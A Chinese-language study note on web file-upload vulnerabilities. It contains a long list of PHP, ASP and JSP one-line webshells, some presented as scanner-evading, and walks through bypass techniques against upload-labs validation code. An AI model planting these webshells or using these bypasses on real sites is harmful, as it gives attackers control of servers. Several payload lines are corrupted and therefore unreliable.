思维导图
文件上传
定义
文件上传漏洞是指由于程序员在对用户文件上传部分的控制不足或者处理缺陷,导致用户可以越过其本身权限向服务器上上传可执行的动态脚本文件。这里上传的文件可以是木马,病毒,恶意脚本或WebShell等。
存在文件上传功能的地方都可能存在文件上传漏洞,但有文件上传不一定存在漏洞
上传文件操作的代码的完整性、安全性,决定了是否会造成文件上传漏洞。
如果开发者疏忽了文件上传代码某一方面的验证,就可能造成文件上传漏洞。
产生原因
- 对于上传文件的后缀名(扩展名)没有做较为严格的限制
- 对于上传文件的MIMETYPE(用于描述文件的类型的一种表述方法) 没有做检查
- 权限上没有对于上传的文件目录设置不可执行权限,(尤其是对于shebang类型的文件)
- 对于web server对于上传文件或者指定目录的行为没有做限制
影响范围
如果上传的文件可以自定义,比如上传一个webshell网站后门,那么攻击者可以直接获取网站权限,这属于高危漏洞,获取到权限之后,我们可以进行服务器提权、获取内网权限、获取网站相关数据权限等。
漏洞查找及判断
- 黑盒查找:查找文件上传功能点常见位置比如文件后台、会员中心,文件扫描(扫描工具配合字典获取)
- 白盒查找:通过代码分析、查找是否存在文件上传的漏洞(前提:有对应网站源码)
文件上传过程
用户发送文件被服务器接收——>经过网站检测——>产生临时文件——>移动到指定路径
解析漏洞
文件解析漏洞主要由于网站管理员操作不当或者 Web 服务器自身的漏洞,导致一些特殊文件被 IIS、apache、nginx 或其他 Web服务器在某种情况下解释成脚本文件执行。—般配合服务器的文件上传功能使用,以获取服务器的权限。解析漏洞一般发生在iis nginx apache,例如当你在图片中添加一句话木马在文件信息末尾,然后通过i上传这张图片,由于WEB存在对应的解析漏洞,会将该图片解析成PHP脚本,如下图所示:提交的图片中插入语句<?php phpinfo();?>,然后实现解析漏洞,成功在图片中访问执行得到PHPinfo。
注意事项
对文件上传类型进行区分,是属于编辑器文件上传,还是属于第三方应用,还是常规的WEB服务。要先确认文件上传是什么类型,再选择用什么类型方法对它进行后期测试。
比如针对PHP网站,我们只有上传.php格式的后门才有可以被执行,其他格式不会被执行,jpg等非脚本格式更不会被执行。此外,还应知道文件上传前后端限制的区别,例如在js环境中的web,可能存在着前端文件上传的格式限制,应学会手动解除前端限制。例如:靶场:upload-labs第一关。而对于CMS或者CVE对应的上传漏洞只需搜索对应的POC即可
WEBshell
WebShell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称之为一种网页后门。攻击者在入侵了一个网站后,通常会将这些asp或php后门文件与网站服务器web目录下正常的网页文件混在一起,然后使用浏览器来访问这些后门,得到一个命令执行环境,以达到控制网站服务器的目的(可以上传下载或者修改文件,操作数据库,执行任意命令等)。 WebShell后门隐蔽较性高,可以轻松穿越防火墙,访问WebShell时不会留下系统日志,只会在网站的web日志中留下一些数据提交记录
一般分为各种马:
大马: 是功能较为完善的WebShell,通常包含文件管理、数据库管理、系统命令执行等多种功能。攻击者可以利用大马轻松实现对服务器的控制。
小马: 是功能较为简单的WebShell,通常只包含一些基本的文件管理和命令执行功能。虽然功能有限,但小马的隐蔽性和灵活性较高,更容易逃避安全检测。
无马: 无马则更为隐蔽,它们没有明显的特征码和文件后缀名,因此很难被检测出来。但是,它们也有一定的局限性, 只能执行特定的命令和操作。例如,某款流行的无马只能执行上传、下 载和执行命令的操作。
一句话木马
常用的webshell就是一句话木马,结合中国菜刀或者hackbar等工具可以很高效快捷的获得网站shell。
<?php @eval($_POST['cmd']); ?>
注释:
$_POST 是 PHP 中的超全局变量,在浏览器中POST方式提交的所有变量,都会保存在此数组中,变量名即键名
eval() 函数在 PHP 中用于执行字符串中的代码并返回执行结果。该函数接受一个字符串作为参数,该字符串包含要执行的 PHP 代码(在此代码中为$_POST[cmd]),然后执行该代码,并且可以返回结果,该函数对php语法要求严格,所传入语句必须以";"结尾
"@"的作用是屏蔽报错信息。
##PHP:
<?php @eval($_POST['r00ts']);?>
<?php phpinfo();?>
<?php @eval($_POST[cmd]);?>
<?php @eval($_REQUEST[cmd]);?>
<?php assert($_REQUEST[cmd]); ?>
<?php //?cmd=phpinfo() @preg_replace("/abc/e",$_REQUEST['cmd'],"abcd"); ?>
<?php
//?cmd=phpinfo();
$func =create_function('',$_REQUEST['cmd']);
$func();
?>
<?php
//?func=system&cmd=whoami
$func=$_GET['func'];
$cmd=$_GET['cmd'];
$array[0]=$cmd;
$new_array=array_map($func,$array);
//print_r($new_array);
?>
<?php
//?cmd=phpinfo()
@call_user_func(assert,$_GET['cmd']);
?>
<?php
//?cmd=phpinfo()
$cmd=$_GET['cmd'];
$array[0]=$cmd;
call_user_func_array("assert",$array);
?>
<?php
//?func=system&cmd=whoami
$cmd=$_GET['cmd'];
$array1=array($cmd);
$func =$_GET['func'];
array_filter($array1,$func);
?>
<?php usort($_GET,'asse'.'rt');?> php环境>=<5.6才能用
<?php usort(...$_GET);?> php环境>=5.6才能用
<?php eval($_POST1);?>
<?php if(isset($_POST['c'])){eval($_POST['c']);}?>
<?php system($_REQUEST1);?>
<?php ($_=@$_GET1).@$_($_POST1)?>
<?php eval_r($_POST1)?>
<?php @eval_r($_POST1)?>//容错代码
<?php assert($_POST1);?>//使用Lanker一句话客户端的专家模式执行相关的PHP语句
<?$_POST['c']($_POST['cc']);?>
<?$_POST['c']($_POST['cc'],$_POST['cc'])?>
<?php @preg_replace("/[email]/e",$_POST['h'],"error");?>/*使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入*/:<O>h=@eval_r($_POST1);</O>
<?php echo `$_GET['r']` ?>
<script language="php">@eval_r($_POST[sb])</script> //绕过<?限制的一句话
<?php (])?> 上面这句是防杀防扫的!网上很少人用!可以插在网页任何ASP文件的最底部不会出错,比如 index.asp里面也是可以的!
<?if(isset($_POST['1'])){eval($_POST['1']);}?><?php system ($_REQUEST[1]);?>
加了判断的PHP一句话,与上面的ASP一句话相同道理,也是可以插在任何PHP文件 的最底部不会出错!
<%execute request(“class”)%><%'<% loop <%:%><%'<% loop <%:%><%execute request (“class”)%><%execute request(“class”)'<% loop <%:%>
无防下载表,有防下载表可尝试插入以下语句突破的一句话
<%eval(request(“1″)):response.end%> 备份专用
##JSP:
<%if(request.getParameter("f")!=null)(newjava.io.FileOutputStream (application.getRealPath("\\")+request.getParameter("f"))).write (request.getParameter("t").getBytes());%>
提交客户端
<form action="" method="post"><textareaname="t"></textarea><br/><input type="submit"value="提交"></form>
##ASP
<%eval(Request.Item["r00ts"],”unsafe”);%>
<%IfRequest(“1″)<>”"ThenExecuteGlobal(Request(“1″))%>
<%execute(request(“1″))%>
<scriptrunat=server>execute request(“1″)</script> 不用'<,>‘的asp一句话
##aspx
<scriptrunat=”server”>WebAdmin2Y.x.y aaaaa =newWebAdmin2Y.x.y (“add6bb58e139be10″);</script>
<script language="C#"runat="server">WebAdmin2Y.x.y a=new WebAdmin2Y.x.y("add6bb58e139be10")</script>
<%eval request(chr(35))%> 不用双引号的一句话。
WebShell 管理工具
- 中国菜地
- 中国蚁剑
- 冰蝎
文件上传的验证机制及绕过
前端JS验证
在 Web 文件上传场景中,前端 JavaScript 验证可以在用户上传文件之前对文件进行初步检查,这样做可以减轻服务器端的负担,提升用户体验,避免不必要的网络请求。例如,在用户上传一个明显不符合要求的大文件时,前端验证可以直接提示用户,而不需要将文件发送到服务器。如下面这段代码:就采用了前端验证的方式来过滤不合规的文件上传。
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
//元素的 name 属性来获取页面中所有 name 属性值为 upload_file 的元素,返回一个类数组对象。
//[0]表示取第一个元素,通常情况下,一个表单中 name 为 upload_file 的文件输入框只有一个。
//.value:获取该文件输入框的值,这个值是用户选择的文件的路径(某些浏览器中会被部分隐藏)
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name + "|") == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}
绕过方式:
- 通过浏览器审查元素对网页的代码查看,找到对文件格式或大小的限制然后修改即可;
- 通过Burpsuite工具对浏览器进行代理,抓包对包里的内容进行修改。
- 浏览器禁用JavaScript脚本,一般不建议使用
MIME验证
MIME(multipurpose Internet mail extensions)多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式。MIME验证可以前端实现也可以后端实现,通常结合后端白名单进行验证,其中前端验证:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
</head>
<body>
<input type="file" id="fileInput">
<button onclick="validateFile()">上传</button>
<script>
function validateFile() {
const fileInput = document.getElementById('fileInput');
const file = fileInput.files[0];
if (file) {
const allowedTypes = ['image/jpeg', 'image/png', 'image/gif'];
if (!allowedTypes.includes(file.type)) {
alert('只允许上传JPEG、PNG或GIF格式的图片');
return;
}
// 可以在这里添加上传逻辑
}
}
</script>
</body>
</html>
后端验证:
from flask import Flask, request
app = Flask(__name__)
@app.route('/upload', methods=['POST'])
def upload():
allowed_types = ['image/jpeg', 'image/png', 'image/gif']
file = request.files['file']
if file:
content_type = file.content_type
if content_type not in allowed_types:
return '只允许上传JPEG、PNG或GIF格式的图片', 400
# 可以在这里进行文件保存等操作
return '文件上传成功'
if __name__ == '__main__':
app.run()
绕过方式:
- 前端的MIME验证绕过方式与上文所述前端绕过方式一样
- 后端验证绕过可以通过,上传php文件,通过burpsuite抓包修改content-type的值为允许上传文件类型的MIME值
抓包修改为
这里我附上各种文件格式的MIME信息表
{".3gp", "video/3gpp"},
{".apk", "application/vnd.android.package-archive"},
{".asf", "video/x-ms-asf"},
{".avi", "video/x-msvideo"},
{".bin", "application/octet-stream"},
{".bmp", "image/bmp"},
{".c", "text/plain"},
{".class", "application/octet-stream"},
{".conf", "text/plain"},
{".cpp", "text/plain"},
{".doc", "application/msword"},
{".docx", "application/vnd.openxmlformats-officedocument.wordprocessingml.document"},
{".xls", "application/vnd.ms-excel"},
{".xlsx", "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet"},
{".exe", "application/octet-stream"},
{".gif", "image/gif"},
{".gtar", "application/x-gtar"},
{".gz", "application/x-gzip"},
{".h", "text/plain"},
{".htm", "text/html"},
{".html", "text/html"},
{".jar", "application/java-archive"},
{".java", "text/plain"},
{".jpeg", "image/jpeg"},
{".jpg", "image/jpeg"},
{".js", "application/x-javascript"},
{".log", "text/plain"},
{".m3u", "audio/x-mpegurl"},
{".m4a", "audio/mp4a-latm"},
{".m4b", "audio/mp4a-latm"},
{".m4p", "audio/mp4a-latm"},
{".m4u", "video/vnd.mpegurl"},
{".m4v", "video/x-m4v"},
{".mov", "video/quicktime"},
{".mp2", "audio/x-mpeg"},
{".mp3", "audio/x-mpeg"},
{".mp4", "video/mp4"},
{".mpc", "application/vnd.mpohun.certificate"},
{".mpe", "video/mpeg"},
{".mpeg", "video/mpeg"},
{".mpg", "video/mpeg"},
{".mpg4", "video/mp4"},
{".mpga", "audio/mpeg"},
{".msg", "application/vnd.ms-outlook"},
{".ogg", "audio/ogg"},
{".pdf", "application/pdf"},
{".png", "image/png"},
{".pps", "application/vnd.ms-powerpoint"},
{".ppt", "application/vnd.ms-powerpoint"},
{".pptx", "application/vnd.openxmlformats-officedocument.presentationml.presentation"},
{".prop", "text/plain"},
{".rc", "text/plain"},
{".rmvb", "audio/x-pn-realaudio"},
{".rtf", "application/rtf"},
{".sh", "text/plain"},
{".tar", "application/x-tar"},
{".tgz", "application/x-compressed"},
{".txt", "text/plain"},
{".wav", "audio/x-wav"},
{".wma", "audio/x-ms-wma"},
{".wmv", "audio/x-ms-wmv"},
{".wps", "application/vnd.ms-works"},
{".xml", "text/plain"},
{".z", "application/x-compress"},
{".zip", "application/x-zip-compressed"},
{"", "*/*"}
特殊解析后缀
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
上述代码为后名单验证,但是分析可以见黑名单并不完全涵盖,过滤后缀名asp,aspx,php,jsp;去除接收过来的文件名中的空格;删除文件名末尾的点;将“.”前面的内容截断;后缀名转换为小写;去除文件后缀含有::$DATA字符串变为空;收尾去掉空格。
绕过方法:apache服务器中若版本较低会存在一个能够使用php解析.phtml .php3 .php5的功能,前提是apache的httpd.conf中有如下配置代码“AddType application/x-httpd-php .php .phtml .php3 .php5”因此可以上传.phtml .php3 .php5文件,绕过黑名单
.htaccess解析
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
源码配置了黑名单,拒绝了几乎所有有问题的后缀名,除了.htaccess
漏洞利用前提:web应用没有禁止.htaccess文件的上传,且服务器允许用户上传自定义的.htaccess文件。且.htaccess作为局部变量成功作用于当前目录下文件的两个条件(1.启用AllowOverride,2.开启mod_rewrite模块)
修改httpd.conf:
1、Allow Override All
2、LoadModule rewrite_module modules/mod_rewrite.so
htaccess上传漏洞前提条件:
1、apache服务器。
2、能够上传.htaccess文件,一般为黑名单限制。
3、AllowOverride All,默认配置为关闭None。
4、LoadModule rewrite_module modules/mod_rewrite.so #mod_rewrite模块为开启状态
5、上传目录具有可执行权限。
原理:.htaccess文件(或者”分布式配置文件”) ,全称是Hypertext Access(超文本入口)。是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。提供了针对目录改变配置的方法,即,在一个特定的文档目录中放置一个包含一个或多个指令的文件,其中的指令作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。启用.htaccess,需要修改httpd.conf,启用AllowOverride。一旦启用.htaccess,意味着允许用户自己修改服务器的配置,可能会导致某些意想不到的修改。安全起见,应该尽可能地避免使用.htaccess文件。
配置文件详解
.htaccess
作用: .分布式配置文件,一般用于URL重写、认证、访问控制等
作用范围;特定目录(-般是网站根目录)及其子目录
优先级:较高,可覆盖Apache:的主要配置文件(httpd-conf)4
生效方式:修改后立刻生效
httpd-conf
作用:包含ApacheHTTP服务器的全局行为和默认设置
作用范围:整个服务器
优先级:较低
生效方式:管理员权限,重启服务器后生效
user.ini
作用:特定于用户或特定目录的配置文件,通常位于Web应用程序的根目录下,用于覆盖或追加全局配置文件(如. php.ini)中的PHP.配置选项
作用范围:存放该文件的目录以及其子目录
优先级:较高,可以覆盖php.inie
生效方式:立即生效
php.ini
作用:存储了对整个PHP环境生效的配置选项。它通常位于PHP安装目录中
作用范围:所有运行在该: PHP环境中的. PHP请求
优先级: 较低
生效方式:重启php或web服务器
配置文件加载方式:
会首先加载php.ini/httpd-conf.文件中的配置。然而,如果在某个目录下存在.user.ini/.htaccess文件,服务器会在处理请求时检查该目录,并覆盖相应的配置项
.user.ini可以生效的前提:
最好大于5.3.0,最好是用7.X版本的
Server.API.为CGI / FastCGI----Phpinfo () 查看Server-API
(Server-API (Application-Programming:Interface, 应用程序编程接口)是一组定义了软件组件之间交互方式的规范。在这种情况下,Server-API.是指用于连接和交互的服务器端软件接口。)
服务器脚本语言为PHP 上传目录下要有可执行的php文件
.user.ini文件上传漏洞的前提:.user.ini可以生效且该上传目录有php文件
写法:
Auto_prepend_file=11.txt(但是11.txt文件中只包含php代码)
例如:其中A文件为php文件,文件内容为echo "hello"
B文件为txt文件,文件内容为 echo "word"
然后我写一个user.ini文件,内容为: Auto_prepend_file=B.txt
意思就是该目录下所有php文件在执行前都会包含一个B.txt文件。那么等我上传成功user.ini后,再去访问网站目录下的A.php文件时,就会得到 hello word 这样包含B.txt文件内容的结果
绕过方式:上传覆盖.htaccess文件,重写解析规则,将上传的带有脚本马的图片以脚本方式解析。
其中.htaccess的文件内容要学会编写,例如:
<FilesMatch "hello">
setHandler application/x-httpd-php
</FilesMatch>
作用是使当前目录下所有文件名包含“hello”字符串的文件当作php文件解析。然后只需上传对应的hello.jpg文件,在文件末尾添加脚本代码例如<?php phpinfo(); ?>,然后将.JPG上传后,访问时,服务器就会根据.htaccess的规则将hello.jpg自动解析成脚本文件了。
大小写绕过
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
源码相比于上一个,过滤了.htaccess,但去掉了将后缀转换为小写,因此可以使用大小绕过。
利用条件:代码只对后缀名为.php的文件进行了拦截,并未对.pHp后缀名的文件拦截
绕过思路:可以上传.PHP文件,绕过黑名单。
点绕过/空格绕过
空格绕过
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = $_FILES['upload_file']['name'];
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
点绕过
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
空格绕过中,源码没有对后缀名进行去空,利用windows特性,会自动去掉后缀名中最后的空格,因此可以后缀名加空格绕过。点绕过中,源码没有删除文件名末尾的点,利用windows特性,会自动去掉后缀名中最后的”.”,可在后缀名中加”.”绕过。
利用原理:空格和点绕过都是利用Windows的命名机制,在windows中文件不论是以空格/点结尾都会被删除例如,8.php. 会变成8.php,而当php被过滤不准上传的情况下,上传8.php. 就会绕过验证机制被Windows接受的同时又被windows还原成8.php。所以应该在Windows服务器中进行。
绕过方式:抓包修改再发送
点绕过也是同理,加点即可
::$DATA绕过
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
分析得,少了去除文件名中的::$DATA字符串。
利用原理:在window系统下,如果上传的文件名为a.php::$DATA,它会在服务器上生成一个a.php的文件,其中内容和所上传内容相同,并被解析。php在window的时候如果文件名+”::$DATA”会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持”::$DATA”之前的文件名 他的目的就是不检查后缀名。
在. Windows.操作系统中,当你看到文件名后跟着”:$DATA”时,它表示文件的一个附加数据流(Alternate-DataStream, ADS)。数据流是一种用于 在文件内部存储额外数据的机制。在普通情况下,我们使用的文件只有一个默认的数据流,可以通过文件名访问。但是Windows. NT.文件系统(NTFS) 支持在文件内部创建额外的数据流,以存储其他信息。这些额外的数据流可以通过在文件名后面添加::$DATA”来访问。
例如,”1.txt”是一 一个文件,而1.txt::$DATA” 是这个文件的一个附加数据流。这样的数据流可以用于存储文件的元数据、备份信息、标签等。需要注意的是,大多数常规的文件操作工具不会意识到这些额外的数据流,而只会处理默认的数据流。要访问或操作这些附加数据流,通常需要使用特定的命令行工具或编程接口。
绕过方式:抓包,在文件名处添加::$DATA
一次验证绕过
所谓一次性绕过就是代码在过滤php的时候会对相应的后缀名进行过滤,但是只进行一次过滤,这为我们带来的可绕过性,如下面这段代码对文件进行了全面过滤但是,我们根据代码逻辑,可以发现,上传的文件会被删除一个点、一个空格,又因为只有一次过滤,于是我们可以根据代码逻辑进行绕过,抓包上传名为2.php. .
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
双后缀名绕过
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
上述代码中会将不允许上传的后缀名删除,替换为空,但由于这里只进行了依次替换,于是乎能利用该漏洞,可以抓波上传形如:.pphphp的后缀名,在被过滤后还剩一个php后缀名,绕过了代码。
%00截断、0x00截断、0x0a截断
截断原理:由于00代表结束符,所以会把00后面的所有字符都截断
截断条件:PHP版本小于5.3.4,PHP的magic_quotes_gpc为OFF状态
无论0x00还是%00,最终被解析后都是一个东西:chr(0)
在C语言中,空字符有一个特殊含义,代表字符串的拼接结束。这里我们使用的是php语言,属于高级语言,底层靠C语言来实现的,也就是说空字符的字符串拼接结束功能在PHP中也能实现。但是我们在URL中不能直接使用空,这样会造成无法识别;我们通过查看ASCII对照表,发现ASCII对照表第一个就空字符,它对应的16进制是00,这里我们就可以用16进制的00来代替空字符,让它截断后面的内容。使用burpsuite进行抓包,因为这里是通过URL进行传递的文件上传后存储路径,所以需要对16进制的00进行URL编码,编码的结果就是%00,通过这种方式,就可以%00截断后面的内容,让拼接的文件名不再进行生效。当一个字符串中存在空字符的时候,在被解析的时候会导致空字符后面的字符被丢弃。在文件名中插入空字符进行00截断,只适合前端绕过,后端绕过无效。
使用00截断绕过后端验证,除非两个条件之一:
1.后缀检测,合格则进行上传路径拼接,文件名中还是包含截断字符的,路径拼好之后可以被截断成想要的.php。
2.文件路径可控,拼接路径和文件名,组成文件上传路径。比如我可以修改路径拼接的path时,比如抓到的包中存在path: uploads/,就可以直接把路径构造成uploads/xxx.php%00,先构造一个存在截断字符的后缀“等着”真正的文件名,或者后缀名,因为不管它是啥,都会被截断而丢弃,因为这里已经到了“最后阶段”,不会再有安检过程了,这里截断之后的结果就是最终上传的结果,比如下图中,抓到的包里发现了路径,那么使用上面的方法直接改它,就可以成功上传aa.php文件,不管被处理后的文件名是什么,在这里被截断才是真正的“截断”,因为这是在安检(后缀名校验)之后进行的截断,直接决定真实的文件后缀名。
如代码:
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
是取最后一个点后面的格式与白名单进行对比。使用get传参,可用%00截断。绕过
知识补充:
strrpos(string,find[,start]) 函数查找字符串在另一字符串中最后一次出现的位置(区分大小写)。
